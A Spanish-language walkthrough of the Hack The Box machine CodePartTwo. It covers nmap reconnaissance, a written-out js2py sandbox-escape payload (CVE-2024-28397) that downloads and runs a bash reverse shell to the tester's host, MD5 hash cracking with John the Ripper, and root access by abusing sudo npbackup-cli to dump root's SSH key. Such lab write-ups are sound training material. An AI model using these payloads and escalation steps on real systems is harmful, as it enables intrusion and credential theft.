Descripción
CodePartTwo es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución de comandos remotos en aplicación Python que interactúa con código Javascript mediante
js2py - Recuperación de credencial encontrada en base de datos de aplicación web y reutilización de contraseña
- Escalada de privilegios a través de la aplicación de respaldo
npbackupejecutada como usuarioroot
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.119.51.
$ ping -c 3 10.129.119.51
PING 10.129.119.51 (10.129.119.51) 56(84) bytes of data.
64 bytes from 10.129.119.51: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.119.51: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.119.51: icmp_seq=3 ttl=63 time=47.3 ms
--- 10.129.119.51 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.697/47.191/47.528/0.357 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.119.51 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.119.51
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos dos puertos abiertos, 22 y 8000.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.119.51 -Pn -sV -sC -p22,8000 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.119.51
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
Obtenemos el servicio SSH y el servicio HTTP. Agregamos el dominio codetwo.htb al archivo /etc/hosts.
$ echo "10.129.119.51 codetwo.htb" | sudo tee -a /etc/hosts
Nos movemos al servicio HTTP en el puerto 8000, encontramos una aplicación de código abierto creada para ejecutar código JavaScript.
Tenemos la capacidad de descargar el código fuente con el punto final /download y podemos iniciar sesión y registrar una cuenta. Vamos a registrarnos, iniciaremos sesión y luego descargaremos el código fuente. El código fuente es un archivo .zip, lo extraemos.

$ wget --content-disposition http://codetwo.htb:8000/download
$ unzip app.zip
Cuando iniciamos sesión, encontramos una consola de ejecución donde podemos ingresar código JavaScript y luego será ejecutado.
Al revisar el código fuente, encontramos que la aplicación web almacena los datos en el archivo de base de datos SQLite users.db. También encontramos la clave secreta de la aplicación, S3cr3tK3yC0d3Tw0. La aplicación utiliza el algoritmo de hash MD5 para las contraseñas. Finalmente, descubrimos que la aplicación utiliza la biblioteca js2py para ejecutar código JavaScript y está deshabilitando las importaciones de módulos de Python.
$ cat app/app.py
...
import js2py
...
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
...
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
...
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
Explotación
Hau un problema en el componente js2py.disable_pyimport() de js2py hasta la versión 0.74 que permite a los atacantes ejecutar código arbitrario mediante una llamada API cuidadosamente diseñada, según CVE-2024-28397. Existe una prueba de concepto de la vulnerabilidad creada por Marven11 en GitHub. Vamos a utilizar la vulnerabilidad para crear una terminal inversa hacia nuestra máquina. Primero vamos a crear un script malicioso de Bash y luego lo vamos a hospedar en un servidor HTTP. Luego iniciaremos el puerto TCP de escucha.
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.27/1234 0>&1" > shell.sh
$ python -m http.server 80
$ nc -nvlp 1234
Este es el código malicioso que vamos a introducir, que descargará el archivo del script y luego lo ejecutará:
let cmd = "wget -O /tmp/shell.sh http://10.10.14.27/shell.sh; bash /tmp/shell.sh"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
Recibimos la terminal como el usuario app, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.27] from (UNKNOWN) [10.129.119.51] 56300
bash: cannot set terminal process group (925): Inappropriate ioctl for device
bash: no job control in this shell
app@codetwo:~/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@codetwo:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
app@codetwo:~/app$ ^Z
$ stty raw -echo; fg
$ reset xterm
app@codetwo:~/app$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos la base de datos del aplicativo web en el archivo /instance/users.db. La exploramos para recuperar su contenido.
app@codetwo:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
Obtenemos el hash para el usuario marco, utilizamos la herramienta John The Ripper para recuperar la contraseña.
$ echo "marco:649c9d65a206a75f5abe509fe128bce5" > hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetangelbabylove (marco)
1g 0:00:00:00 DONE 6.666g/s 22991Kp/s 22991Kc/s 22991KC/s sweetbabygyal..sweetali786
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario marco, sweetangelbabylove. Podemos iniciar sesión en la máquina utilizando SSH con ese usuario y contraseña.
$ ssh marco@codetwo.htb
...
marco@codetwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
Encontramos que el usuario marco pertenece al grupo de ejecución del comando /usr/local/bin/npbackup-cli, lo cual le permite ejecutar un comando como usuario root. La herramienta NPBackup es una solución de respaldo segura y eficiente para archivos, adecuada tanto para administradores de sistemas (CLI) como para usuarios finales (GUI). Incluye un orquestador que puede manejar múltiples repositorios/grupos con el fin de ejecutar operaciones de comprobación programadas. Pudimos encontrar un archivo de configuración de ejemplo de NPBackup en la carpeta home, llamado npbackup.conf.
marco@codetwo:~$ head -n 20 npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
Podemos crear un nuevo repositorio de respaldo, realizar un respaldo del directorio /root, listar los archivos que se han resguardado y luego leer archivos con privilegios. Empezaremos copiando y editando el archivo de configuración para ello.
marco@codetwo:~$ cp npbackup.conf npbackup2.conf
Vamos a cambiar el valor de repo_uri a una carpeta temporal como /tmp/copy200 y agregar la ruta /root al arreglo paths. El inicio del archivo npbackup.conf podría verse así:
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: /tmp/copy200
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
Luego desencadenamos el respaldo especificando el archivo de configuración con la opción -c y la opción -b para la acción.
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup2.conf -b
...
no parent snapshot found, will read all files
Files: 15 new, 0 changed, 0 unmodified
Dirs: 8 new, 0 changed, 0 unmodified
Added to the repository: 206.612 KiB (40.426 KiB stored)
processed 15 files, 197.660 KiB in 0:00
...
Luego, enumeraremos los archivos respaldados con la opción --ls.
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup2.conf --ls
...
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db
Encontramos que la clave SSH privada del usuario root ha sido respaldada, así que la leemos con la opción --dump.
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup2.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2...
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
La copiamos a un archivo y luego podremos crear una sesión SSH como usuario root.
$ nano id_rsa
$ chmod 400 id_rsa
$ ssh -i id_rsa root@codetwo.htb
root@codetwo:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
Podremos recuperar las flags user.txt y root.txt.
root@codetwo:~# cat /home/marco/user.txt
<REDACTED>
root@codetwo:~# cat /root/root.txt
<REDACTED>